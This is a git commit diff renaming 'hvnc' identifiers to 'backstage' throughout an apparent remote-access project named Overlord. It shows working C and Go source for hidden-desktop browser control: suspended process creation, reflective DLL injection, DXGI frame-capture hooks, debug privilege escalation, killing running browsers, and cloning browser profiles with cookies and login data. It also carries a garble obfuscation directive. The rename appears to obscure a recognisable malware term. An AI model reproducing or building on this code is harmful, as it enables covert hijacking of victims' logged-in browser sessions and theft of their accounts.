rename all instances of "hvnc" to "backstage"

This commit is contained in:
KingKDot
2026-07-13 10:22:19 -05:00
parent 447efa5192
commit 6d1a20206d
61 changed files with 1653 additions and 1653 deletions
+4 -4
View File
@@ -47,10 +47,10 @@ jobs:
shell: cmd
run: call scripts\build-backstage-capture-dll.bat
- name: Upload HVNC DLLs
- name: Upload backstage DLLs
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: hvnc-dll
name: backstage-dll
path: |
Overlord-Server/dist-clients/BackstageInjection.x64.dll
Overlord-Server/dist-clients/BackstageCapture.x64.dll
@@ -68,10 +68,10 @@ jobs:
- name: Checkout repository
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- name: Download HVNC DLLs
- name: Download backstage DLLs
uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
with:
name: hvnc-dll
name: backstage-dll
path: Overlord-Server/dist-clients
- name: Read Source Version
+8 -8
View File
@@ -111,12 +111,12 @@ static UINT64 GetTimestampNs(void) {
static void BuildShmName(char* out, size_t outLen) {
DWORD pid = GetCurrentProcessId();
snprintf(out, outLen, "%s%lu", HVNC_SHM_PREFIX, (unsigned long)pid);
snprintf(out, outLen, "%s%lu", backstage_SHM_PREFIX, (unsigned long)pid);
}
static void BuildEventName(char* out, size_t outLen) {
DWORD pid = GetCurrentProcessId();
snprintf(out, outLen, "%s%lu", HVNC_EVENT_PREFIX, (unsigned long)pid);
snprintf(out, outLen, "%s%lu", backstage_EVENT_PREFIX, (unsigned long)pid);
}
//-----------------------------------------------------------------------------------------------//
@@ -124,7 +124,7 @@ static void BuildEventName(char* out, size_t outLen) {
//-----------------------------------------------------------------------------------------------//
static BOOL EnsureSharedMemory(UINT width, UINT height) {
UINT stride = width * 4;
SIZE_T needed = sizeof(HVNCFrameHeader) + (SIZE_T)stride * height;
SIZE_T needed = sizeof(backstageFrameHeader) + (SIZE_T)stride * height;
if (g_ShmView && g_ShmSize >= needed) {
return TRUE;
@@ -281,7 +281,7 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
UINT w = bbDesc.Width;
UINT h = bbDesc.Height;
if (w == 0 || h == 0 || w > HVNC_MAX_WIDTH || h > HVNC_MAX_HEIGHT) {
if (w == 0 || h == 0 || w > backstage_MAX_WIDTH || h > backstage_MAX_HEIGHT) {
backbuffer->Release();
return;
}
@@ -378,7 +378,7 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
UINT dstStride = w * 4;
UINT srcPitch = mapped.RowPitch;
BYTE* dst = (BYTE*)g_ShmView + sizeof(HVNCFrameHeader);
BYTE* dst = (BYTE*)g_ShmView + sizeof(backstageFrameHeader);
BYTE* src = (BYTE*)mapped.pData;
for (UINT y = 0; y < h; y++) {
@@ -389,9 +389,9 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
// Write header (AFTER pixel data + barrier so reader sees consistent data)
g_FrameSeq++;
HVNCFrameHeader* hdr = (HVNCFrameHeader*)g_ShmView;
hdr->magic = HVNC_FRAME_MAGIC;
hdr->version = HVNC_FRAME_VERSION;
backstageFrameHeader* hdr = (backstageFrameHeader*)g_ShmView;
hdr->magic = backstage_FRAME_MAGIC;
hdr->version = backstage_FRAME_VERSION;
hdr->width = w;
hdr->height = h;
hdr->stride = dstStride;
+13 -13
View File
@@ -1,15 +1,15 @@
//===============================================================================================//
// BackstageCapture — DXGI SwapChain::Present hook for fast HVNC frame capture.
// BackstageCapture — DXGI SwapChain::Present hook for fast backstage frame capture.
//
// Injected into browser processes running on the hidden desktop. Hooks
// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer
// to a named shared-memory section so the Go capture thread can read them
// directly instead of using the slow PrintWindow API.
//
// Shared memory layout (HVNCFrameHeader at offset 0, then pixel data):
// [HVNCFrameHeader][BGRA pixel data, stride-aligned rows]
// Shared memory layout (backstageFrameHeader at offset 0, then pixel data):
// [backstageFrameHeader][BGRA pixel data, stride-aligned rows]
//
// Signaling: named event "Local\hvnc_frame_{pid}" is set after each new frame.
// Signaling: named event "Local\backstage_frame_{pid}" is set after each new frame.
//===============================================================================================//
#ifndef _DXGI_CAPTURE_H
#define _DXGI_CAPTURE_H
@@ -33,7 +33,7 @@ void RemoveDXGICapture(void);
// Shared memory header — must match Go-side definition exactly.
#pragma pack(push, 1)
typedef struct {
UINT32 magic; // 'HVNC' = 0x434E5648
UINT32 magic; // 'backstage' = 0x434E5648
UINT32 version; // 1
UINT32 width;
UINT32 height;
@@ -43,19 +43,19 @@ typedef struct {
UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds
UINT32 pid; // process ID that produced this frame
UINT32 reserved; // alignment padding
} HVNCFrameHeader;
} backstageFrameHeader;
#pragma pack(pop)
#define HVNC_FRAME_MAGIC 0x434E5648 // 'HVNC'
#define HVNC_FRAME_VERSION 1
#define backstage_FRAME_MAGIC 0x434E5648 // 'backstage'
#define backstage_FRAME_VERSION 1
// Maximum frame dimensions we support (prevents runaway allocation)
#define HVNC_MAX_WIDTH 7680
#define HVNC_MAX_HEIGHT 4320
#define backstage_MAX_WIDTH 7680
#define backstage_MAX_HEIGHT 4320
// Shared memory name format — {pid} is the decimal process ID
// e.g. "Local\hvnc_frame_12345"
#define HVNC_SHM_PREFIX "Local\\hvnc_frame_"
#define HVNC_EVENT_PREFIX "Local\\hvnc_evt_"
// e.g. "Local\backstage_frame_12345"
#define backstage_SHM_PREFIX "Local\\backstage_frame_"
#define backstage_EVENT_PREFIX "Local\\backstage_evt_"
#endif // _DXGI_CAPTURE_H
+3 -3
View File
@@ -1,6 +1,6 @@
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
#ifndef _HVNC_SEH_COMPAT_H
#define _HVNC_SEH_COMPAT_H
#ifndef _backstage_SEH_COMPAT_H
#define _backstage_SEH_COMPAT_H
#ifdef __MINGW32__
// MinGW doesn't support MSVC structured exception handling.
@@ -15,4 +15,4 @@
#endif
#endif // __MINGW32__
#endif // _HVNC_SEH_COMPAT_H
#endif // _backstage_SEH_COMPAT_H
+4 -4
View File
@@ -17,9 +17,9 @@ extern "C" {
// Portable secure string helpers for MinGW compatibility
#ifndef _MSC_VER
#ifndef _HVNC_PORTABLE_CRT
#define _HVNC_PORTABLE_CRT
static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *src, size_t count) {
#ifndef _backstage_PORTABLE_CRT
#define _backstage_PORTABLE_CRT
static inline void _backstage_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *src, size_t count) {
if (!dst || dstSize == 0) return;
size_t toCopy = (count < dstSize - 1) ? count : dstSize - 1;
size_t i;
@@ -27,7 +27,7 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
dst[i] = src[i];
dst[i] = L'\0';
}
#define wcsncpy_s(dst, dstSize, src, count) _hvnc_wcsncpy_s((dst), (dstSize), (src), (count))
#define wcsncpy_s(dst, dstSize, src, count) _backstage_wcsncpy_s((dst), (dstSize), (src), (count))
#define sprintf_s(buf, size, ...) snprintf((buf), (size), __VA_ARGS__)
#endif
#endif
+3 -3
View File
@@ -1,6 +1,6 @@
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
#ifndef _HVNC_SEH_COMPAT_H
#define _HVNC_SEH_COMPAT_H
#ifndef _backstage_SEH_COMPAT_H
#define _backstage_SEH_COMPAT_H
#ifdef __MINGW32__
#if defined(NDEBUG)
@@ -37,4 +37,4 @@
#endif
#endif // __MINGW32__
#endif // _HVNC_SEH_COMPAT_H
#endif // _backstage_SEH_COMPAT_H
+2 -2
View File
@@ -97,7 +97,7 @@ RUN mkdir -p dist-clients && \
echo "Using pre-built MSVC BackstageInjection DLL"; \
else \
chmod +x scripts/build-backstage-dll.sh && \
HVNC_SRC_DIR=BackstageInjection/src HVNC_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \
BACKSTAGE_SRC_DIR=BackstageInjection/src BACKSTAGE_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \
echo "WARNING: BackstageInjection DLL not available (build with MSVC on Windows)"; \
fi
@@ -105,7 +105,7 @@ RUN if [ -f dist-clients/BackstageCapture.x64.dll ]; then \
echo "Using pre-built MSVC BackstageCapture DLL"; \
else \
chmod +x scripts/build-backstage-capture-dll.sh && \
HVNC_CAPTURE_SRC_DIR=BackstageCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash scripts/build-backstage-capture-dll.sh || \
BACKSTAGE_CAPTURE_SRC_DIR=BackstageCapture/src BACKSTAGE_CAPTURE_OUT_DIR=dist-clients bash scripts/build-backstage-capture-dll.sh || \
echo "WARNING: BackstageCapture DLL not available (build with MSVC on Windows)"; \
fi
@@ -12,9 +12,9 @@ import (
"unsafe"
)
// hvncFrameHeader mirrors the C HVNCFrameHeader struct.
// backstageFrameHeader mirrors the C backstageFrameHeader struct.
// must be kept in sync with BackstageCapture/src/DXGICapture.h.
type hvncFrameHeader struct {
type backstageFrameHeader struct {
Magic uint32
Version uint32
Width uint32
@@ -28,11 +28,11 @@ type hvncFrameHeader struct {
}
const (
hvncFrameMagic = 0x434E5648 // 'HVNC'
hvncFrameVersion = 1
hvncFrameHeaderSize = 48 // sizeof(HVNCFrameHeader)
hvncShmPrefix = `Local\hvnc_frame_`
hvncEventPrefix = `Local\hvnc_evt_`
backstageFrameMagic = 0x434E5648 // 'backstage'
backstageFrameVersion = 1
backstageFrameHeaderSize = 48 // sizeof(backstageFrameHeader)
backstageShmPrefix = `Local\backstage_frame_`
backstageEventPrefix = `Local\backstage_evt_`
)
var (
@@ -46,7 +46,7 @@ const (
SYNCHRONIZE = 0x00100000
)
type hvncFrameReader struct {
type backstageFrameReader struct {
pid uint32
shmHandle uintptr
shmView unsafe.Pointer
@@ -58,34 +58,34 @@ type hvncFrameReader struct {
}
var (
hvncFrameReaders = make(map[uint32]*hvncFrameReader)
hvncFrameReadersMu sync.Mutex
backstageFrameReaders = make(map[uint32]*backstageFrameReader)
backstageFrameReadersMu sync.Mutex
hvncGPUPIDMap = make(map[uint32]uint32)
backstageGPUPIDMap = make(map[uint32]uint32)
)
func hvncRegisterGPUPID(browserPID, gpuPID uint32) {
hvncFrameReadersMu.Lock()
hvncGPUPIDMap[browserPID] = gpuPID
hvncFrameReadersMu.Unlock()
log.Printf("hvnc dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
func backstageRegisterGPUPID(browserPID, gpuPID uint32) {
backstageFrameReadersMu.Lock()
backstageGPUPIDMap[browserPID] = gpuPID
backstageFrameReadersMu.Unlock()
log.Printf("backstage dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
}
func hvncGetFrameReader(pid uint32) *hvncFrameReader {
hvncFrameReadersMu.Lock()
defer hvncFrameReadersMu.Unlock()
func backstageGetFrameReader(pid uint32) *backstageFrameReader {
backstageFrameReadersMu.Lock()
defer backstageFrameReadersMu.Unlock()
if r, ok := hvncFrameReaders[pid]; ok {
if r, ok := backstageFrameReaders[pid]; ok {
if r.staleCount > 300 {
log.Printf("hvnc dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
log.Printf("backstage dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
r.close()
delete(hvncFrameReaders, pid)
delete(backstageFrameReaders, pid)
} else {
return r
}
}
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncShmPrefix, pid))
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageShmPrefix, pid))
shmHandle, _, _ := procOpenFileMappingW.Call(
FILE_MAP_READ,
0,
@@ -99,21 +99,21 @@ func hvncGetFrameReader(pid uint32) *hvncFrameReader {
shmHandle,
FILE_MAP_READ,
0, 0,
hvncFrameHeaderSize,
backstageFrameHeaderSize,
)
if view == 0 {
procCloseHandle.Call(shmHandle)
return nil
}
hdr := (*hvncFrameHeader)(unsafe.Pointer(view))
if hdr.Magic != hvncFrameMagic {
hdr := (*backstageFrameHeader)(unsafe.Pointer(view))
if hdr.Magic != backstageFrameMagic {
procUnmapViewOfFile.Call(view)
procCloseHandle.Call(shmHandle)
return nil
}
fullSize := uintptr(hvncFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
fullSize := uintptr(backstageFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
procUnmapViewOfFile.Call(view)
view = 0
@@ -130,30 +130,30 @@ func hvncGetFrameReader(pid uint32) *hvncFrameReader {
return nil
}
hdr2 := (*hvncFrameHeader)(unsafe.Pointer(fullView))
hdr2 := (*backstageFrameHeader)(unsafe.Pointer(fullView))
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncEventPrefix, pid))
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageEventPrefix, pid))
evtHandle, _, _ := procOpenEventW.Call(
SYNCHRONIZE,
0,
uintptr(unsafe.Pointer(evtName)),
)
r := &hvncFrameReader{
r := &backstageFrameReader{
pid: pid,
shmHandle: shmHandle,
shmView: unsafe.Pointer(fullView),
shmSize: fullSize,
evtHandle: evtHandle,
}
hvncFrameReaders[pid] = r
backstageFrameReaders[pid] = r
log.Printf("hvnc dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
log.Printf("backstage dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
pid, hdr2.Width, hdr2.Height, fullSize)
return r
}
func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
func (r *backstageFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
r.mu.Lock()
defer r.mu.Unlock()
@@ -161,8 +161,8 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
return 0, 0, false
}
hdr := (*hvncFrameHeader)(r.shmView)
if hdr.Magic != hvncFrameMagic || hdr.Version != hvncFrameVersion {
hdr := (*backstageFrameHeader)(r.shmView)
if hdr.Magic != backstageFrameMagic || hdr.Version != backstageFrameVersion {
return 0, 0, false
}
@@ -184,19 +184,19 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
return 0, 0, false
}
totalNeeded := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
totalNeeded := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h)
if totalNeeded > r.shmSize {
r.remap(w, h, stride)
if r.shmView == nil {
return 0, 0, false
}
hdr = (*hvncFrameHeader)(r.shmView)
if hdr.Magic != hvncFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
hdr = (*backstageFrameHeader)(r.shmView)
if hdr.Magic != backstageFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
return 0, 0, false
}
}
pixelData := unsafe.Add(r.shmView, hvncFrameHeaderSize)
pixelData := unsafe.Add(r.shmView, backstageFrameHeaderSize)
srcSize := stride * h
src := unsafe.Slice((*byte)(pixelData), srcSize)
@@ -217,13 +217,13 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
return w, h, true
}
func (r *hvncFrameReader) remap(w, h, stride int) {
func (r *backstageFrameReader) remap(w, h, stride int) {
if r.shmView != nil {
procUnmapViewOfFile.Call(uintptr(r.shmView))
r.shmView = nil
}
newSize := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
newSize := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h)
view, _, _ := procMapViewOfFile.Call(
r.shmHandle,
FILE_MAP_READ,
@@ -237,7 +237,7 @@ func (r *hvncFrameReader) remap(w, h, stride int) {
r.shmSize = newSize
}
func (r *hvncFrameReader) close() {
func (r *backstageFrameReader) close() {
r.mu.Lock()
defer r.mu.Unlock()
@@ -255,51 +255,51 @@ func (r *hvncFrameReader) close() {
}
}
func hvncCleanupFrameReaders() {
hvncFrameReadersMu.Lock()
defer hvncFrameReadersMu.Unlock()
func backstageCleanupFrameReaders() {
backstageFrameReadersMu.Lock()
defer backstageFrameReadersMu.Unlock()
for pid, r := range hvncFrameReaders {
for pid, r := range backstageFrameReaders {
r.close()
delete(hvncFrameReaders, pid)
delete(backstageFrameReaders, pid)
}
for k := range hvncGPUPIDMap {
delete(hvncGPUPIDMap, k)
for k := range backstageGPUPIDMap {
delete(backstageGPUPIDMap, k)
}
}
var (
hvncInjectedPIDs = make(map[uint32]time.Time)
hvncInjectedPIDsMu sync.Mutex
backstageInjectedPIDs = make(map[uint32]time.Time)
backstageInjectedPIDsMu sync.Mutex
)
func hvncRegisterInjectedPID(pid uint32) {
hvncInjectedPIDsMu.Lock()
hvncInjectedPIDs[pid] = time.Now()
hvncInjectedPIDsMu.Unlock()
func backstageRegisterInjectedPID(pid uint32) {
backstageInjectedPIDsMu.Lock()
backstageInjectedPIDs[pid] = time.Now()
backstageInjectedPIDsMu.Unlock()
}
func hvncGetInjectedPIDs() []uint32 {
hvncInjectedPIDsMu.Lock()
defer hvncInjectedPIDsMu.Unlock()
pids := make([]uint32, 0, len(hvncInjectedPIDs))
for pid := range hvncInjectedPIDs {
func backstageGetInjectedPIDs() []uint32 {
backstageInjectedPIDsMu.Lock()
defer backstageInjectedPIDsMu.Unlock()
pids := make([]uint32, 0, len(backstageInjectedPIDs))
for pid := range backstageInjectedPIDs {
pids = append(pids, pid)
}
return pids
}
func hvncUnregisterInjectedPID(pid uint32) {
hvncInjectedPIDsMu.Lock()
delete(hvncInjectedPIDs, pid)
hvncInjectedPIDsMu.Unlock()
func backstageUnregisterInjectedPID(pid uint32) {
backstageInjectedPIDsMu.Lock()
delete(backstageInjectedPIDs, pid)
backstageInjectedPIDsMu.Unlock()
}
func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
if len(data) < hvncFrameHeaderSize {
func parsebackstageFrameHeader(data []byte) (*backstageFrameHeader, bool) {
if len(data) < backstageFrameHeaderSize {
return nil, false
}
hdr := &hvncFrameHeader{
hdr := &backstageFrameHeader{
Magic: binary.LittleEndian.Uint32(data[0:4]),
Version: binary.LittleEndian.Uint32(data[4:8]),
Width: binary.LittleEndian.Uint32(data[8:12]),
@@ -311,7 +311,7 @@ func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
PID: binary.LittleEndian.Uint32(data[40:44]),
Reserved: binary.LittleEndian.Uint32(data[44:48]),
}
if hdr.Magic != hvncFrameMagic {
if hdr.Magic != backstageFrameMagic {
return nil, false
}
return hdr, true
@@ -4,20 +4,20 @@ package capture
import "errors"
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
return 0, errors.New("HVNC injection not supported on this platform")
func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
return 0, errors.New("backstage injection not supported on this platform")
}
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return errors.New("HVNC injection not supported on this platform")
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return errors.New("backstage injection not supported on this platform")
}
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
type LaunchStatusFunc func(step string, success bool, detail string)
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
return errors.New("HVNC injection not supported on this platform")
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
return errors.New("backstage injection not supported on this platform")
}
func CheckInstalledBrowsers() map[string]bool {
@@ -43,7 +43,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
type LaunchStatusFunc func(step string, success bool, detail string)
var hvncDXGIStatusCallback atomic.Value
var backstageDXGIStatusCallback atomic.Value
const (
PROCESS_CREATE_THREAD = 0x0002
@@ -158,10 +158,10 @@ func enableDebugPrivilege() {
procAdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tp)), 0, 0, 0)
}
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
// StartbackstageProcessInjected starts a process suspended on the backstage desktop,
// injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks.
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
if filePath == "" {
return 0, fmt.Errorf("empty file path")
}
@@ -169,8 +169,8 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
return 0, fmt.Errorf("empty DLL bytes")
}
result, err := executeHVNCTask(hvncTask{
kind: hvncTaskStartProcessInjected,
result, err := executebackstageTask(backstageTask{
kind: backstageTaskStartProcessInjected,
filePath: filePath,
dllBytes: dllBytes,
captureDllBytes: captureDllBytes,
@@ -184,12 +184,12 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
return result.pid, result.err
}
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
if onDXGIStatus != nil {
hvncDXGIStatusCallback.Store(onDXGIStatus)
backstageDXGIStatusCallback.Store(onDXGIStatus)
}
notify := func(step string, success bool, detail string) {
log.Printf("hvnc %s: [%s] success=%v %s", browser, step, success, detail)
log.Printf("backstage %s: [%s] success=%v %s", browser, step, success, detail)
if onLaunchStatus != nil {
onLaunchStatus(step, success, detail)
}
@@ -231,7 +231,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
if !clone {
notify("launch", true, "starting without profile cloning")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err
@@ -239,13 +239,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
if info.needsPatch && pid != 0 {
go func() {
defer recoverAndLog("hvnc patch opera", nil)
defer recoverAndLog("backstage patch opera", nil)
patchOperaAsync(pid, 5, 2*time.Second)
}()
}
if pid != 0 {
go func() {
defer recoverAndLog("hvnc crash monitor", nil)
defer recoverAndLog("backstage crash monitor", nil)
monitorProcessCrash(pid, info.name, notify)
}()
}
@@ -274,7 +274,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
}
if strings.EqualFold(fi.Name(), lockFile) {
os.Remove(path)
log.Printf("hvnc %s: removed lock file %s", info.name, path)
log.Printf("backstage %s: removed lock file %s", info.name, path)
}
return nil
})
@@ -283,13 +283,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
for _, lockFile := range []string{"SingletonLock", "SingletonCookie", "SingletonSocket"} {
lp := filepath.Join(cloneDir, lockFile)
if err := os.Remove(lp); err == nil {
log.Printf("hvnc %s: removed lock file %s", info.name, lockFile)
log.Printf("backstage %s: removed lock file %s", info.name, lockFile)
}
}
}
notify("launch", true, "starting with cloned profile")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err
@@ -297,22 +297,22 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
if info.needsPatch && pid != 0 {
go func() {
defer recoverAndLog("hvnc patch opera", nil)
defer recoverAndLog("backstage patch opera", nil)
patchOperaAsync(pid, 5, 2*time.Second)
}()
}
if pid != 0 {
go func() {
defer recoverAndLog("hvnc crash monitor", nil)
defer recoverAndLog("backstage crash monitor", nil)
monitorProcessCrash(pid, info.name, notify)
}()
}
return nil
}
// StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
// StartbackstageChromeInjected is kept for backward compatibility.
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
}
type browserInfo struct {
@@ -525,9 +525,9 @@ func killProcess(name string) []uint32 {
procCloseHandle.Call(hProc)
if r != 0 {
killed = append(killed, entry.ProcessID)
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
log.Printf("backstage: terminated %s (PID %d)", name, entry.ProcessID)
} else {
log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID)
log.Printf("backstage: failed to terminate %s (PID %d)", name, entry.ProcessID)
}
}
}
@@ -568,14 +568,14 @@ func isFirefoxProfile(name string) bool {
// large cache directories that aren't needed for a functional session.
// This preserves extensions, cookies, login data, local storage, etc.
func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onProgress CloneProgressFunc) (string, error) {
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
prefix := "backstage_" + strings.ToLower(browserName) + "_"
// Remove any previous cloned profile directories so we always use fresh data
tmpDir := os.TempDir()
if old, err := os.ReadDir(tmpDir); err == nil {
for _, e := range old {
if strings.HasPrefix(e.Name(), prefix) && e.IsDir() {
p := filepath.Join(tmpDir, e.Name())
log.Printf("hvnc %s: removing old clone %s", browserName, p)
log.Printf("backstage %s: removing old clone %s", browserName, p)
os.RemoveAll(p)
}
}
@@ -601,7 +601,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
}
if lite {
log.Printf("hvnc %s: lite clone — skipping extensions and extra data", browserName)
log.Printf("backstage %s: lite clone — skipping extensions and extra data", browserName)
liteSkip := []string{
"extensions",
"extension state",
@@ -691,7 +691,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
}
}
log.Printf("hvnc %s: cloning %d files using parallel workers", browserName, len(jobs))
log.Printf("backstage %s: cloning %d files using parallel workers", browserName, len(jobs))
dirs := make(map[string]struct{})
for _, j := range jobs {
@@ -729,13 +729,13 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
defer wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[panic] hvnc file copy worker: %v", r)
log.Printf("[panic] backstage file copy worker: %v", r)
}
}()
for job := range jobCh {
n, err := forceCopyFile(job.src, job.dst)
if err != nil {
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, job.src, err)
log.Printf("backstage %s: warning: could not copy %s: %v", browserName, job.src, err)
} else {
reportProgress(n)
}
@@ -863,7 +863,7 @@ func calcDirSize(dir string) int64 {
return total
}
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if filePath == "" {
return 0, fmt.Errorf("empty file path")
@@ -878,17 +878,17 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
if err != nil {
return 0, fmt.Errorf("failed to create DLL shared memory: %v", err)
}
log.Printf("hvnc inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
log.Printf("backstage inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
enableDebugPrivilege()
// Create the process suspended on the HVNC desktop
// Create the process suspended on the backstage desktop
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display)
if err != nil {
procCloseHandle.Call(shmHandle)
return 0, fmt.Errorf("failed to create suspended process: %v", err)
}
log.Printf("hvnc inject: created suspended process PID %d", pid)
log.Printf("backstage inject: created suspended process PID %d", pid)
// Inject the reflective DLL
if err := reflectiveInject(hProcess, dllBytes); err != nil {
@@ -898,7 +898,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
procCloseHandle.Call(shmHandle)
return 0, fmt.Errorf("DLL injection failed: %v", err)
}
log.Printf("hvnc inject: DLL injected into PID %d", pid)
log.Printf("backstage inject: DLL injected into PID %d", pid)
// The DLL's InstallNtApiHooks has run (reflectiveInject waits for the
// loader thread). The DLL opened the shared section, so we can release
@@ -915,15 +915,15 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
}
procCloseHandle.Call(hThread)
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
log.Printf("backstage inject: process PID %d resumed with DLL hooks active", pid)
if len(captureDllBytes) > 0 {
if !hvncDXGIEnabled.Load() {
